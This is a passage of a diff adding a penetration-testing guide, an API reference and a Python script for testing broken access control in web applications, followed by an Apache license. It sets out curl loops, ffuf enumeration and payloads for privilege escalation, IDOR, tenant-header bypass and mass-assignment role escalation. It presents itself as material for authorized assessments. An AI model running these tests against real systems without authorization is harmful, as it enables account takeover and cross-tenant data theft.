-mc 200,201,204,301,302,401,403,405 -fc 404 \
|
||||
-H "Authorization: Bearer $USER_TOKEN"
|
||||
```
|
||||
|
||||
### Step 2: Configure Automated Access Control Testing
|
||||
|
||||
Set up Burp Authorize extension for parallel role-based testing.
|
||||
|
||||
```
|
||||
# Install Authorize extension:
|
||||
# Burp > Extender > BApp Store > Search "Authorize" > Install
|
||||
|
||||
# Configuration for three-tier testing:
|
||||
# 1. Browse the application as Admin (capture all requests)
|
||||
# 2. In Authorize tab:
|
||||
# a. Add Regular User's session token in "Replace cookies/headers"
|
||||
# b. Optionally add a second row for Unauthenticated (no auth header)
|
||||
|
||||
# Example header replacement setup:
|
||||
# Row 1 (Low-privilege user):
|
||||
# Cookie: session=low_priv_user_session
|
||||
# Authorization: Bearer low_priv_token
|
||||
#
|
||||
# Row 2 (Unauthenticated):
|
||||
# [Empty - removes all auth headers]
|
||||
|
||||
# Enable interception in Authorize:
|
||||
# - Check "Intercept requests from Proxy"
|
||||
# - Check "Intercept requests from Repeater"
|
||||
|
||||
# Authorize shows results as:
|
||||
# Green = Properly restricted (different response for different user)
|
||||
# Red = POTENTIALLY VULNERABLE (same response regardless of role)
|
||||
# Orange = Uncertain (needs manual verification)
|
||||
```
|
||||
|
||||
### Step 3: Test Vertical Privilege Escalation
|
||||
|
||||
Attempt to access higher-privilege functionality with lower-privilege accounts.
|
||||
|
||||
```bash
|
||||
# Collect tokens for each role
|
||||
ADMIN_TOKEN="Bearer admin_jwt_here"
|
||||
MANAGER_TOKEN="Bearer manager_jwt_here"
|
||||
USER_TOKEN="Bearer user_jwt_here"
|
||||
|
||||
# Test admin endpoints with user token
|
||||
ADMIN_ENDPOINTS=(
|
||||
"GET /admin/dashboard"
|
||||
"GET /admin/users"
|
||||
"POST /admin/users/create"
|
||||
"PUT /admin/settings"
|
||||
"DELETE /admin/users/5"
|
||||
"GET /admin/logs"
|
||||
"GET /admin/reports/export"
|
||||
"POST /admin/backup"
|
||||
)
|
||||
|
||||
for entry in "${ADMIN_ENDPOINTS[@]}"; do
|
||||
method=$(echo "$entry" | cut -d' ' -f1)
|
||||
endpoint=$(echo "$entry" | cut -d' ' -f2)
|
||||
echo -n "$method $endpoint (as user): "
|
||||
status=$(curl -s -o /dev/null -w "%{http_code}" \
|
||||
-X "$method" \
|
||||
-H "Authorization: $USER_TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
"https://target.example.com$endpoint")
|
||||
if [ "$status" == "200" ] || [ "$status" == "201" ]; then
|
||||
echo "VULNERABLE ($status)"
|
||||
else
|
||||
echo "OK ($status)"
|
||||
fi
|
||||
done
|
||||
|
||||
# Test with method override headers
|
||||
curl -s -o /dev/null -w "%{http_code}" \
|
||||
-X POST \
|
||||
-H "Authorization: $USER_TOKEN" \
|
||||
-H "X-HTTP-Method-Override: DELETE" \
|
||||
"https://target.example.com/admin/users/5"
|
||||
|
||||
# Test with different HTTP methods
|
||||
for method in GET POST PUT PATCH DELETE OPTIONS HEAD; do
|
||||
echo -n "$method /admin/users: "
|
||||
curl -s -o /dev/null -w "%{http_code}" \
|
||||
-X "$method" \
|
||||
-H "Authorization: $USER_TOKEN" \
|
||||
"https://target.example.com/admin/users"
|
||||
echo
|
||||
done
|
||||
```
|
||||
|
||||
### Step 4: Test Horizontal Privilege Escalation
|
||||
|
||||
Verify that users cannot access resources belonging to other users at the same privilege level.
|
||||
|
||||
```bash
|
||||
# User A (ID: 101) testing access to User B's (ID: 102) resources
|
||||
USER_A_TOKEN="Bearer user_a_jwt"
|
||||
|
||||
RESOURCES=(
|
||||
"/api/users/102/profile"
|
||||
"/api/users/102/orders"
|
||||
"/api/users/102/messages"
|
||||
"/api/users/102/documents"
|
||||
"/api/users/102/settings"
|
||||
"/api/users/102/payment-methods"
|
||||
)
|
||||
|
||||
for resource in "${RESOURCES[@]}"; do
|
||||
echo -n "GET $resource: "
|
||||
response=$(curl -s -w "\n%{http_code}" \
|
||||
-H "Authorization: $USER_A_TOKEN" \
|
||||
"https://target.example.com$resource")
|
||||
status=$(echo "$response" | tail -1)
|
||||
body_len=$(echo "$response" | head -n -1 | wc -c)
|
||||
if [ "$status" == "200" ] && [ "$body_len" -gt 50 ]; then
|
||||
echo "VULNERABLE ($status, $body_len bytes)"
|
||||
else
|
||||
echo "OK ($status)"
|
||||
fi
|
||||
done
|
||||
|
||||
# Test write operations across users
|
||||
curl -s -X PUT \
|
||||
-H "Authorization: $USER_A_TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"name":"Hacked","email":"hacked@evil.com"}' \
|
||||
"https://target.example.com/api/users/102/profile" -w "%{http_code}"
|
||||
|
||||
# Test delete operations
|
||||
curl -s -X DELETE \
|
||||
-H "Authorization: $USER_A_TOKEN" \
|
||||
"https://target.example.com/api/users/102/documents/1" -w "%{http_code}"
|
||||
```
|
||||
|
||||
### Step 5: Test Function-Level Access Control
|
||||
|
||||
Verify that specific functions enforce authorization properly.
|
||||
|
||||
```bash
|
||||
# Test unauthenticated access to protected endpoints
|
||||
PROTECTED_ENDPOINTS=(
|
||||
"/api/user/profile"
|
||||
"/api/transactions"
|
||||
"/api/settings"
|
||||
"/admin/dashboard"
|
||||
"/api/export/users"
|
||||
)
|
||||
|
||||
for endpoint in "${PROTECTED_ENDPOINTS[@]}"; do
|
||||
echo -n "No auth: GET $endpoint: "
|
||||
curl -s -o /dev/null -w "%{http_code}" \
|
||||
"https://target.example.com$endpoint"
|
||||
echo
|
||||
done
|
||||
|
||||
# Test with expired/invalid tokens
|
||||
curl -s -o /dev/null -w "%{http_code}" \
|
||||
-H "Authorization: Bearer invalid_token_here" \
|
||||
"https://target.example.com/api/user/profile"
|
||||
|
||||
# Test role manipulation in JWT claims
|
||||
# If JWT contains role claim, try modifying it
|
||||
# (requires JWT vulnerability - see JWT testing skill)
|
||||
|
||||
# Test parameter-based role escalation
|
||||
curl -s -X PUT \
|
||||
-H "Authorization: $USER_TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"role":"admin","is_admin":true,"permissions":["admin","superuser"]}' \
|
||||
"https://target.example.com/api/users/101/profile"
|
||||
|
||||
# Test registration with elevated role
|
||||
curl -s -X POST \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"email":"new@test.com","password":"Test123!","role":"admin"}' \
|
||||
"https://target.example.com/api/auth/register"
|
||||
```
|
||||
|
||||
### Step 6: Test Multi-Tenant Isolation
|
||||
|
||||
Verify that tenant boundaries are enforced in multi-tenant applications.
|
||||
|
||||
```bash
|
||||
# User in Tenant A testing access to Tenant B's resources
|
||||
TENANT_A_TOKEN="Bearer tenant_a_user_jwt"
|
||||
|
||||
# Direct tenant resource access
|
||||
curl -s -H "Authorization: $TENANT_A_TOKEN" \
|
||||
"https://target.example.com/api/organizations/tenant-b-id/users" | jq .
|
||||
|
||||
curl -s -H "Authorization: $TENANT_A_TOKEN" \
|
||||
"https://target.example.com/api/organizations/tenant-b-id/settings" | jq .
|
||||
|
||||
# Test tenant switching via header
|
||||
curl -s -H "Authorization: $TENANT_A_TOKEN" \
|
||||
-H "X-Tenant-ID: tenant-b-id" \
|
||||
"https://target.example.com/api/users" | jq .
|
||||
|
||||
# Test tenant ID in request body
|
||||
curl -s -X POST \
|
||||
-H "Authorization: $TENANT_A_TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"tenant_id":"tenant-b-id","query":"SELECT * FROM users"}' \
|
||||
"https://target.example.com/api/reports/custom"
|
||||
|
||||
# Enumerate tenant IDs
|
||||
ffuf -u "https://target.example.com/api/organizations/FUZZ" \
|
||||
-w <(seq 1 100) \
|
||||
-H "Authorization: $TENANT_A_TOKEN" \
|
||||
-mc 200 -t 10 -rate 20
|
||||
```
|
||||
|
||||
## Key Concepts
|
||||
|
||||
| Concept | Description |
|
||||
|---------|-------------|
|
||||
| **Vertical Privilege Escalation** | Lower-privilege user accessing higher-privilege functionality (user -> admin) |
|
||||
| **Horizontal Privilege Escalation** | User accessing another user's resources at the same privilege level |
|
||||
| **Function-Level Access Control** | Authorization checks on specific features/functions regardless of URL |
|
||||
| **RBAC** | Role-Based Access Control - permissions assigned to roles, roles assigned to users |
|
||||
| **ABAC** | Attribute-Based Access Control - permissions based on user/resource/environment attributes |
|
||||
| **Multi-Tenant Isolation** | Ensuring data and functionality separation between different organizations/tenants |
|
||||
| **Insecure Direct Object Reference** | Accessing objects by manipulating identifiers without authorization checks |
|
||||
| **Missing Function-Level Check** | Endpoint exists but does not verify the caller has permission to invoke it |
|
||||
|
||||
## Tools & Systems
|
||||
|
||||
| Tool | Purpose |
|
||||
|------|---------|
|
||||
| **Burp Suite Professional** | Request interception and role-based testing |
|
||||
| **Authorize (Burp Extension)** | Automated access control testing across sessions |
|
||||
| **AutoRepeater (Burp Extension)** | Automatically replays requests with different auth contexts |
|
||||
| **Postman** | API testing with environment switching between roles |
|
||||
| **ffuf** | Discovering hidden endpoints that may lack access controls |
|
||||
| **OWASP ZAP** | Access control testing with context-aware scanning |
|
||||
|
||||
## Common Scenarios
|
||||
|
||||
### Scenario 1: Admin Panel Without Auth Check
|
||||
The `/admin/dashboard` endpoint returns the admin panel when accessed with a regular user's session token. The front-end hides the admin menu, but the back-end does not enforce role checks.
|
||||
|
||||
### Scenario 2: API Endpoint Missing Authorization
|
||||
The `DELETE /api/users/{id}` endpoint checks for authentication (valid token) but not authorization (admin role). Any authenticated user can delete any other user's account.
|
||||
|
||||
### Scenario 3: Tenant Data Leakage
|
||||
A SaaS application uses `tenant_id` in API request headers. Changing the `X-Tenant-ID` header to another tenant's ID returns their data, bypassing tenant isolation.
|
||||
|
||||
### Scenario 4: Mass Assignment Role Escalation
|
||||
The user profile update endpoint at `PUT /api/users/{id}` accepts a `role` field in the JSON body. Submitting `"role":"admin"` alongside a profile update elevates the user to administrator.
|
||||
|
||||
## Output Format
|
||||
|
||||
```
|
||||
## Broken Access Control Assessment Report
|
||||
|
||||
**Target**: target.example.com
|
||||
**Assessment Date**: 2024-01-15
|
||||
**OWASP Category**: A01:2021 - Broken Access Control
|
||||
|
||||
### Access Control Matrix Results
|
||||
| Endpoint | Admin | Manager | User | Guest | Expected | Actual |
|
||||
|----------|-------|---------|------|-------|----------|--------|
|
||||
| GET /admin/dashboard | 200 | 200 | 200 | 302 | Admin only | FAIL |
|
||||
| DELETE /api/users/{id} | 200 | 200 | 200 | 401 | Admin only | FAIL |
|
||||
| GET /api/users/other/profile | 200 | 200 | 200 | 401 | Own only | FAIL |
|
||||
| PUT /api/users/other/settings | 200 | 200 | 200 | 401 | Own only | FAIL |
|
||||
| GET /api/org/other-tenant | 200 | 200 | 200 | 401 | Same tenant | FAIL |
|
||||
|
||||
### Critical Findings
|
||||
1. **Vertical Escalation**: Regular users can access /admin/* endpoints
|
||||
2. **Horizontal IDOR**: Users can read/modify other users' profiles
|
||||
3. **Tenant Isolation**: Cross-tenant data access via header manipulation
|
||||
4. **Mass Assignment**: Role escalation via profile update endpoint
|
||||
|
||||
### Impact
|
||||
- Complete administrative access for any authenticated user
|
||||
- Full user data access across all accounts (15,000+ users)
|
||||
- Cross-tenant data breach affecting 200+ organizations
|
||||
- Account takeover via profile modification
|
||||
|
||||
### Recommendation
|
||||
1. Implement server-side authorization checks on every endpoint
|
||||
2. Use a centralized authorization middleware/framework
|
||||
3. Enforce object-level authorization (verify ownership before access)
|
||||
4. Validate tenant context server-side, never from client headers
|
||||
5. Use allowlists for mass assignment (only permit expected fields)
|
||||
6. Implement audit logging for all access control decisions
|
||||
```
|
||||
@@ -0,0 +1,60 @@
|
||||
# API Reference: Testing for Broken Access Control
|
||||
|
||||
## requests Library
|
||||
|
||||
### Authentication Patterns
|
||||
```python
|
||||
# Bearer token authentication
|
||||
headers = {"Authorization": "Bearer <token>", "Content-Type": "application/json"}
|
||||
|
||||
# Cookie-based authentication
|
||||
cookies = {"session": "session_value"}
|
||||
|
||||
# Multiple methods
|
||||
resp = requests.request("DELETE", url, headers=headers)
|
||||
```
|
||||
|
||||
## Test Categories
|
||||
|
||||
### Vertical Privilege Escalation
|
||||
Test admin endpoints with regular user credentials:
|
||||
```python
|
||||
for endpoint in admin_endpoints:
|
||||
resp = requests.get(url, headers=user_headers)
|
||||
# 200 = VULNERABLE, 403 = properly restricted
|
||||
```
|
||||
|
||||
### Horizontal Privilege Escalation (IDOR)
|
||||
Access other users' resources:
|
||||
```python
|
||||
# Replace {id} with other user's ID
|
||||
resp = requests.get(f"/api/users/{other_id}/profile", headers=user_headers)
|
||||
```
|
||||
|
||||
### HTTP Method Override
|
||||
```python
|
||||
override_headers = ["X-HTTP-Method-Override", "X-Method-Override", "X-HTTP-Method"]
|
||||
```
|
||||
|
||||
### Mass Assignment Fields
|
||||
| Field | Description |
|
||||
|-------|-------------|
|
||||
| `role` | User role (admin, user) |
|
||||
| `is_admin` | Boolean admin flag |
|
||||
| `permissions` | Permission array |
|
||||
| `access_level` | Numeric access level |
|
||||
| `user_type` | User type classification |
|
||||
|
||||
## Response Status Interpretation
|
||||
| Status | Meaning |
|
||||
|--------|---------|
|
||||
| 200/201 | Access granted (potential vulnerability if unexpected) |
|
||||
| 401 | Not authenticated |
|
||||
| 403 | Authenticated but not authorized (correct behavior) |
|
||||
| 404 | Resource not found (may hide from unauthorized users) |
|
||||
| 405 | Method not allowed |
|
||||
|
||||
## OWASP References
|
||||
- A01:2021 Broken Access Control: https://owasp.org/Top10/A01_2021-Broken_Access_Control/
|
||||
- WSTG Access Control: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/
|
||||
- IDOR Testing: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/04-Testing_for_Insecure_Direct_Object_References
|
||||
@@ -0,0 +1,195 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Agent for testing broken access control vulnerabilities during authorized assessments."""
|
||||
|
||||
import requests
|
||||
import json
|
||||
import argparse
|
||||
import urllib3
|
||||
from datetime import datetime
|
||||
from urllib.parse import urljoin
|
||||
|
||||
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
||||
|
||||
|
||||
def test_vertical_escalation(base_url, user_token, admin_endpoints):
|
||||
"""Test if a regular user can access admin endpoints."""
|
||||
print("\n[*] Testing vertical privilege escalation...")
|
||||
findings = []
|
||||
headers = {"Authorization": f"Bearer {user_token}", "Content-Type": "application/json"}
|
||||
methods = ["GET", "POST", "PUT", "DELETE"]
|
||||
for endpoint in admin_endpoints:
|
||||
for method in methods:
|
||||
url = urljoin(base_url, endpoint)
|
||||
try:
|
||||
resp = requests.request(method, url, headers=headers, timeout=10, verify=False)
|
||||
if resp.status_code in (200, 201, 204):
|
||||
findings.append({
|
||||
"type": "VERTICAL_ESCALATION", "method": method,
|
||||
"url": url, "status": resp.status_code, "severity": "CRITICAL",
|
||||
})
|
||||
print(f" [!] VULNERABLE: {method} {endpoint} -> {resp.status_code}")
|
||||
except requests.RequestException:
|
||||
continue
|
||||
print(f"[*] {len(findings)} vertical escalation findings")
|
||||
return findings
|
||||
|
||||
|
||||
def test_horizontal_escalation(base_url, user_token, resource_templates, other_user_ids):
|
||||
"""Test if a user can access another user's resources."""
|
||||
print("\n[*] Testing horizontal privilege escalation (IDOR)...")
|
||||
findings = []
|
||||
headers = {"Authorization": f"Bearer {user_token}", "Content-Type": "application/json"}
|
||||
for template in resource_templates:
|
||||
for uid in other_user_ids:
|
||||
url = urljoin(base_url, template.replace("{id}", str(uid)))
|
||||
try:
|
||||
resp = requests.get(url, headers=headers, timeout=10, verify=False)
|
||||
if resp.status_code == 200 and len(resp.text) > 50:
|
||||
findings.append({
|
||||
"type": "HORIZONTAL_ESCALATION", "url": url,
|
||||
"user_id": uid, "status": resp.status_code,
|
||||
"body_length": len(resp.text), "severity": "CRITICAL",
|
||||
})
|
||||
print(f" [!] IDOR: GET {url} -> {resp.status_code} ({len(resp.text)} bytes)")
|
||||
except requests.RequestException:
|
||||
continue
|
||||
print(f"[*] {len(findings)} horizontal escalation findings")
|
||||
return findings
|
||||
|
||||
|
||||
def test_method_override(base_url, user_token, endpoint):
|
||||
"""Test HTTP method override headers for access control bypass."""
|
||||
print(f"\n[*] Testing method override on {endpoint}...")
|
||||
findings = []
|
||||
url = urljoin(base_url, endpoint)
|
||||
headers = {"Authorization": f"Bearer {user_token}", "Content-Type": "application/json"}
|
||||
override_headers = ["X-HTTP-Method-Override", "X-Method-Override", "X-HTTP-Method"]
|
||||
for oh in override_headers:
|
||||
for method in ["DELETE", "PUT", "PATCH"]:
|
||||
test_headers = {**headers, oh: method}
|
||||
try:
|
||||
resp = requests.post(url, headers=test_headers, timeout=10, verify=False)
|
||||
if resp.status_code in (200, 201, 204):
|
||||
findings.append({
|
||||
"type": "METHOD_OVERRIDE_BYPASS", "url": url,
|
||||
"override_header": oh, "method": method,
|
||||
"status": resp.status_code, "severity": "HIGH",
|
||||
})
|
||||
print(f" [!] {oh}: {method} -> {resp.status_code}")
|
||||
except requests.RequestException:
|
||||
continue
|
||||
return findings
|
||||
|
||||
|
||||
def test_unauthenticated_access(base_url, protected_endpoints):
|
||||
"""Test if protected endpoints are accessible without authentication."""
|
||||
print("\n[*] Testing unauthenticated access...")
|
||||
findings = []
|
||||
for endpoint in protected_endpoints:
|
||||
url = urljoin(base_url, endpoint)
|
||||
try:
|
||||
resp = requests.get(url, timeout=10, verify=False)
|
||||
if resp.status_code == 200 and len(resp.text) > 50:
|
||||
findings.append({
|
||||
"type": "UNAUTHENTICATED_ACCESS", "url": url,
|
||||
"status": resp.status_code, "severity": "CRITICAL",
|
||||
})
|
||||
print(f" [!] OPEN: GET {endpoint} -> {resp.status_code}")
|
||||
except requests.RequestException:
|
||||
continue
|
||||
print(f"[*] {len(findings)} unauthenticated access findings")
|
||||
return findings
|
||||
|
||||
|
||||
def test_mass_assignment(base_url, user_token, profile_endpoint):
|
||||
"""Test if role/privilege fields can be modified via profile update."""
|
||||
print(f"\n[*] Testing mass assignment on {profile_endpoint}...")
|
||||
findings = []
|
||||
url = urljoin(base_url, profile_endpoint)
|
||||
headers = {"Authorization": f"Bearer {user_token}", "Content-Type": "application/json"}
|
||||
payloads = [
|
||||
{"role": "admin"}, {"is_admin": True}, {"permissions": ["admin", "superuser"]},
|
||||
{"user_type": "administrator"}, {"access_level": 99},
|
||||
]
|
||||
for payload in payloads:
|
||||
try:
|
||||
resp = requests.put(url, headers=headers, json=payload, timeout=10, verify=False)
|
||||
if resp.status_code in (200, 201):
|
||||
field = list(payload.keys())[0]
|
||||
resp_text = resp.text.lower()
|
||||
if str(payload[field]).lower() in resp_text:
|
||||
findings.append({
|
||||
"type": "MASS_ASSIGNMENT", "url": url,
|
||||
"field": field, "value": payload[field], "severity": "CRITICAL",
|
||||
})
|
||||
print(f" [!] VULNERABLE: {field}={payload[field]} accepted")
|
||||
except requests.RequestException:
|
||||
continue
|
||||
return findings
|
||||
|
||||
|
||||
def test_tenant_isolation(base_url, tenant_a_token, tenant_b_resources):
|
||||
"""Test cross-tenant data access."""
|
||||
print("\n[*] Testing tenant isolation...")
|
||||
findings = []
|
||||
headers = {"Authorization": f"Bearer {tenant_a_token}", "Content-Type": "application/json"}
|
||||
for resource in tenant_b_resources:
|
||||
url = urljoin(base_url, resource)
|
||||
try:
|
||||
resp = requests.get(url, headers=headers, timeout=10, verify=False)
|
||||
if resp.status_code == 200 and len(resp.text) > 50:
|
||||
findings.append({
|
||||
"type": "TENANT_ISOLATION_BREACH", "url": url,
|
||||
"status": resp.status_code, "severity": "CRITICAL",
|
||||
})
|
||||
print(f" [!] CROSS-TENANT: {url} -> {resp.status_code}")
|
||||
except requests.RequestException:
|
||||
continue
|
||||
return findings
|
||||
|
||||
|
||||
def generate_report(findings, output_path):
|
||||
"""Generate access control assessment report."""
|
||||
report = {
|
||||
"assessment_date": datetime.now().isoformat(),
|
||||
"total_findings": len(findings),
|
||||
"by_type": {},
|
||||
"by_severity": {},
|
||||
"findings": findings,
|
||||
}
|
||||
for f in findings:
|
||||
t = f.get("type", "UNKNOWN")
|
||||
s = f.get("severity", "INFO")
|
||||
report["by_type"][t] = report["by_type"].get(t, 0) + 1
|
||||
report["by_severity"][s] = report["by_severity"].get(s, 0) + 1
|
||||
with open(output_path, "w") as fh:
|
||||
json.dump(report, fh, indent=2)
|
||||
print(f"\n[*] Report: {output_path} | Findings: {len(findings)}")
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="Broken Access Control Testing Agent")
|
||||
parser.add_argument("base_url", help="Base URL of the target")
|
||||
parser.add_argument("--user-token", help="Regular user's Bearer token")
|
||||
parser.add_argument("--admin-endpoints", nargs="+",
|
||||
default=["/admin/dashboard", "/admin/users", "/api/admin/settings"])
|
||||
parser.add_argument("--resource-templates", nargs="+",
|
||||
default=["/api/users/{id}/profile", "/api/users/{id}/orders"])
|
||||
parser.add_argument("--other-ids", nargs="+", default=["2", "3", "100", "101"])
|
||||
parser.add_argument("-o", "--output", default="access_control_report.json")
|
||||
args = parser.parse_args()
|
||||
|
||||
print(f"[*] Broken Access Control Assessment: {args.base_url}")
|
||||
findings = []
|
||||
findings.extend(test_unauthenticated_access(args.base_url, args.admin_endpoints))
|
||||
if args.user_token:
|
||||
findings.extend(test_vertical_escalation(args.base_url, args.user_token, args.admin_endpoints))
|
||||
findings.extend(test_horizontal_escalation(args.base_url, args.user_token,
|
||||
args.resource_templates, args.other_ids))
|
||||
findings.extend(test_method_override(args.base_url, args.user_token, args.admin_endpoints[0]))
|
||||
findings.extend(test_mass_assignment(args.base_url, args.user_token, "/api/users/me"))
|
||||
generate_report(findings, args.output)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,201 @@
|
||||
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to the Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by the Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding any notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
